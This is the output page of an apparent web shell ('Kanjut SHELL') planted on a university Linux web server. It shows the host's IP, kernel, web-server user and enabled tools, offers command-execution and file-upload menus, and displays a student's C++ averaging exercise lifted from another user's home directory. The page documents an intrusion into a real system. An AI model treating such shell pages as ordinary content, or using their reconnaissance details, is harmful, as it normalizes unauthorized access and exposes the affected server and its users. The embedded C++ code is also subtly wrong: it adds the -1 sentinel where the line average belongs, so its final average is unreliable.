Kanjut SHELL
Server IP : 172.16.15.8  /  Your IP : 3.138.126.124
Web Server : Apache
System : Linux zeus.vwu.edu 4.18.0-553.27.1.el8_10.x86_64 #1 SMP Wed Nov 6 14:29:02 UTC 2024 x86_64
User : apache ( 48)
PHP Version : 7.2.24
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0705) :  /home/cbjackson/../jcwhiley/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : //home/cbjackson/../jcwhiley/prac_project2.cpp
// CS112 CS 1 Practice Project 1
// Due: Wednesday, December 1, 2010
//
// File Name: prac_project2.cpp
// Author: Jennifer Whiley
// Instuctor: Dr. Wang
//
// Compile: g++ prac_project2.cpp
// Run: ./a.out < in_prac.txt
//
// Goal: The program will read lines of a set of integers and output
//       the average of each line and the average of all averages
//	 (to one decimal place.)
//
                        
#include <iostream>
#include <iomanip>              
        
using namespace std;
        
int main()
{
        int n;
                        
        int sum = 0;
	int sumall = 0;
                        
        int count = 0; 
        int ctngone = 0;
                        
        cout << fixed << showpoint << setprecision(1) << endl;
                                
        cin >> n;

        while(cin)
        {       while(n != -1)
                {
			sum = sum + n;
			count++;
				
			cin >> n;
		}
		cout << "The average value for this line is: " << sum/(1.0 * count) << "\n";

		sum =0;
		count = 0;

		sumall = sumall + n;		

		ctngone++;
		cin >> n;
	}

	cout << "The number of lines in this set of integers is: " << ctngone << endl;
	cout << "The average of all the lines is: " << (1.0*sumall)/ctngone << endl;
	return 0;
}

Stv3n404 - 2023